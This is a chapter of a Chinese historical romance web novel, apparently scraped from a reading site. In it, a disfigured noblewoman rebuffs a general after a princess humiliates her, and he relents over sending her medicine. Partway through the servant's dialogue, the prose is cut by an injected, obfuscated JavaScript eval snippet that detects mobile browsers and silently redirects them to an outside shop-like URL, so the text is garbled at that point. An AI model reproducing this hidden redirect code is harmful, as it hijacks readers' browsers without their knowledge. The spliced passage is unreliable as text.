默认冷灰
24号文字
方正启体

15. 第 15 章

作者:卧衔蝉本书字数:K更新时间:
    或许谢聿安沉默的时间很短,但也就是这短暂的时间,让宋知予一瞬间清醒了过来。


    他此前对她毁容的脸所说的那番话,以及他今日对她的维护,都让宋知予感受到片刻的温暖和动容。当下这场闹剧,却又将她彻底拉回现实。


    她从一开始,便不应该将琴姐托付给他,不该跟他产生更多的关联。


    即便世人再怎么轻视她、排斥她,尽管她早习惯了忍气吞声以求平静。但人活着,心底总是有咽不下去的一口气。


    她不愿成为他与静安公主纠葛中那个丑角,更不愿成为点缀他人光彩人生的那株野草。


    这是她仅剩的一点骨气和愚蠢。


    “臣女失礼于公主,甘愿受罚。”她上前跪下,声音却不卑不亢。


    谢聿安回首,看见她单薄地跪在那里,额角处一片通红,玉白的皮肤上渗出血珠。他一个愣神,无名的烦躁瞬间涌起,俯身要去扶她,“跪什么?起来。”


    他的手还没碰到她的臂弯,宋知予微微侧身避开,只有微凉的衣袖在他手心滑过,“我与将军非一路之人,臣女面见公主,理应下跪行礼。”


    一句话,既划清了她与他的关系,也将他方才对她的一通维护变成了笑话。


    谢聿安悬在空中的手慢慢攥起,他直起身,轻笑一声,声音却冷而嘲讽。


    “宋知予,我今日才知道,原来你膝盖这样软。”


    静安扫了两人一眼,冷笑一声,目光中染上厌恶。


    “后宫里你这样的伎俩我见得多,以退为进,倒像是我欺负了你。我最瞧不起女子扮弱,向男子摇尾乞怜以求情爱。”


    “自轻自贱,叫人瞧不起。”


    宋知予面不改色,甚至称得上低眉顺眼。


    “公主教训的是。”


    “只是公主身居高位,从不需要向任何人示弱,看见别人低头,便只觉得是摇尾乞怜。殊不知杂草生在墙角石缝,俯首只为生存,却从不奢求任何人怜爱。”


    “公主尊贵,才可以平视将军,看到的都是将军的好。但臣女低贱,就如那墙角的杂草,无论是对公主还是将军,臣女连仰望都不敢,又何谈钦慕、求怜呢?


    对于杂草而言,将军再好,也只像悬之高阁的明珠,臣女离得远,瞧不见明珠的光芒,那明珠也和鱼目无异了。”


    “明珠可被公主这样的贵人珍藏。可对于臣女而言,明珠倒还不如鱼目,至少鱼目腐败入土,尚能滋养草根。而明珠再耀眼,其光芒也不是真正的阳光,既不温暖,更不能滋养万物。


    明珠于我,又有何用?”


    谢聿安的目光落在宋知予身上,神色晦暗不明。


    静安反应过来,宋知予竟然这样大胆,竟敢当面明褒暗贬、指桑骂槐,看似说自己不敢肖想谢聿安,实则是说只有她静安公主将谢聿安当个宝贝,她压根不屑与他有什么关系!


    “你这个贱妇,好大的胆子!竟敢对当朝重臣出言不逊!”静安气急,恨不得立刻就将宋知予勒死,“来人!此人蔑视皇权,拉出去——”


    谢聿安再一次上前打断她,这次的语气却不容置疑,“公主理应适可而止了。”


    静安抬头,对上一双凌厉而冷淡的眼睛。这样的目光她也曾见过一次,那次,是他挥剑砍向意欲伤害她的山匪,剑锋横挥,切筋碎肉,鲜血溅入他眼中。他冷然看向那些敌人,便是这样的目光。


    霎时间,她突然觉得心慌,攥住他的衣袖,“你生我气了……”


    谢聿安不动声色地抽出手,却明显耐心尽失,答非所问:


    “宋二姑娘好歹是朝中大臣名正言顺的女儿,公主无故恶语相向、出手伤人,如今还妄图动用私刑。敢问公主将自己置于何地,将陛下置于何地,又将家国律法置于何地?”


    宋知予本已垂眸不语,听到他这一连三问,仍是忍不住抬起眼,却只看到他立在她身前的背影。


    静安彻底慌了,“我知道的,我只是一时气不过,吓唬她而已……你别生我气……你明知道我出宫一趟不容易,我是听到他们……”


    “天色已经晚了,”谢聿安却是再次打断她,“公主既然出宫不易,与其让看顾你的嬷嬷为难,倒不如趁这个机会去街上逛逛,趁陛下发现之前,早早回去。”


    静安一顿,扭头看向守在门口的嬷嬷。白发佝偻的身影尽职地守在门口,却明显有些站不住了。


    谢聿安瞧一眼她的神色,语气也软了一些,“上次公主偷跑出宫,便是身边的嬷嬷受罚。公主常抱怨无人陪伴,却忘了从小照看你长大的嬷嬷,顶着受罚的风险,依然骄纵成全公主。难道公主不该也替她想一想吗?”


    静安久久不语,她总是心有不甘,还想再说些什么,还没来得及开口,便被谢聿安抢先一步开了房门,“我送公主出府。”


    她没有办法,只能怨憎地看了宋知予一眼,扭身离去。等上了马车,她终究忍不住掀帘问了一句:


    “你与宋家那个,当真没有私情?”


    谢聿安抬眼,本能便要吐出一句“没有”。但宋知予方才在屋中垂眉下跪、言辞凿凿的模样闯入脑海,他心中说不出的烦闷,一开口,答得却是:


    “这是臣的私事,无需对任何人交代。”


    静安怒而摔帘,低声斥,“谢聿安,你目盲至此,莫要后悔!”


    马车疾驰而去,留下一阵烟尘。


    轻掩的屋门再次被推开,宋知予抬眼看去,他背着日光站在那里,沉默地盯着她。


    “你……”


    “今日天色已晚,叨扰将军许久,我这便回去了。”


    宋知予不等他将话说出口,便蓦然起身,侧过他身边时,臂弯处却被握住,他手心热烫的温度隔着衣料传来。


    她微微抬眼看向他的手,谢聿安力道一松,放开了她。


    “今日静安公主要来之事,我并不知情。我与她……”


    宋知予攥紧手中的帕子,再次打断他:


    “将军并不欠我一句道歉,也无需对我说明什么。无论将军与公主有何牵连,今日之事,我不会向任何人多嘴,将军大可放心。”


    她侧着身子,连看都不看他一眼。谢聿安只瞧得见她的绢布面具,却仍能觉察出她此刻拒人于千里之外的态度。


    宋知予没再说话,抬步便跨出房门,头也不回地出了府。


    赵召进屋时,便看见谢聿安沉默地立在门边,一张脸冷若冰霜。


    他弓着腰,颇为狗腿地将一药瓶递出,试探道:“这是爷让我去找的伤药,主子想怎么处置?”


    谢聿安垂眼看向药瓶,却出神不语。赵召跟了他多年,见他此刻神色,一个看似荒诞的猜测浮上心头,壮着胆子劝道:


    “其实女子比男子更爱面子,宋姑娘虽然看着温柔,今日却是无辜挨打受辱,心里难免有气。爷若是日后不想再见她,搁着不理也就是了。”


    “可若是爷想要与人赔不是,大丈夫向小女子低一次头,也不算什么了不得的事。”


    谢聿安听出他的弦外之音,冷眼扫过来,随口道:


    “你如今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319101|199023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的胆子确实是大了。”


    赵召身子一擞,脖颈上直冒冷汗,顿时就想求饶。转念又一想,他主仆二人在京中困守已久,左不过一门婚事的问题,若是这宋二姑娘当真能入谢聿安的眼,帮二人解当下之困,丑便丑些,也算不上委屈了主子……


    “那爷说这东西该……?”


    谢聿安收回目光,随口回:


    “拿去扔了。”


    上好的金疮药说送就送,说扔就扔。赵召脸上的肉抽了抽,眯眼假笑,“嗳!这就去丢了。”


    转身却是龟步慢行,边小碎步往前挪,边嘟嘟囔囔:


    “可怜那宋姑娘,本就毁了半张脸,如今另一张脸又伤了额角。若是留了疤,以后恐怕照一次镜子,就要想起一次今日之辱,唉……!”


    等到出了门,屋里的人竟然还没声音,赵召心里才开始打鼓。正当他怀疑自己揣摩心思出了错,真要去丢药时,屋里才不轻不重地响一声。


    “回来。”


    *


    “好好地走路,也能撞着脑袋?”沈织阳斜倚坐在上位,轻蔑地看向宋知予。


    “蠢笨成这样,倒是像你那个短命的亲娘。”


    宋知予握笔的手悬停,笔尖上的墨滴下,在纸张上留下一个大大的墨迹。


    “哎呦,姑娘怎么这样不小心?好不容易快抄完一张纸,就这样毁了。”刘妈妈走上前,抽出宋知予面前抄了大半张的佛经,又换上一张空白的纸。


    “虽说夫人不爱求神拜佛,但既是抄佛经,总要心诚,还得劳烦姑娘重抄一张了。老奴为姑娘研墨。”


    宋知予垂眼,应了声是,“劳烦妈妈了。”


    桌案一侧已经垒了半臂高的纸张,都是沈织阳让她抄好的佛经。沈织阳不信佛,却时不时便将她叫过来抄经,无非是变着花样地戏弄她。


    再恶劣的手段她都经受过,宋知予只把抄经这事当作修养心性的机会,一字一句抄得认真,倒是清心静气,驱散了不少浮躁之意。


    但她仍是要适当表现出一些“痛苦”,才好让沈织阳及早从折磨她一事中尝够乐趣,早早放她回去休息。


    宋知予故意抬手揉了揉眼睛,又甩了甩其实并不那么酸痛的手腕,表现出一副劳累难耐的模样。果然听见上座的人冷笑一声。


    宋知予在心里算着,也许再坚持半个时辰,沈织阳便会打发她走了。倒是忍不住以帕掩鼻,挡住自己脸上的笑意。


    忽听门外有小厮通传,“夫人,李三家的来了。”


    刘妈妈上前,解释:“看样子,是从布庄才买回来了,带着布庄的伙计,等着夫人掌眼呢。”


    沈织阳怠惰地点了点头,吩咐人进来。李三家的婆子便带着三五个伙计,捧着几个布样鱼贯而入。


    宋知予无意间抬眼,却在那几个伙计中瞧见一个圆脸壮实的身影,目光一顿。虽说这人从未见过,她却莫名地觉得眼熟,因此忍不住多看了两眼。


    沈织阳一斜眼,看见宋知予在那里偷看家中事务,皱眉心烦,开口便将她打发走,“这儿不需要你了,回屋呆着去吧。”


    宋知予收回目光,起身告辞。


    一路顺着回廊,穿过花园,还要再穿过一个小院,才能走到她寝房所在的偏院。


    路过一处夹道时,宋知予却突然觉得后心凉嗖嗖的,本能地停下了脚步。刚要回头,便觉得有人拽住她的衣袖,将她拽进了屋中。


    宋知予大惊,还未来得及反应,便听到一人压低了声音:


    “宋二姑娘,是我。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)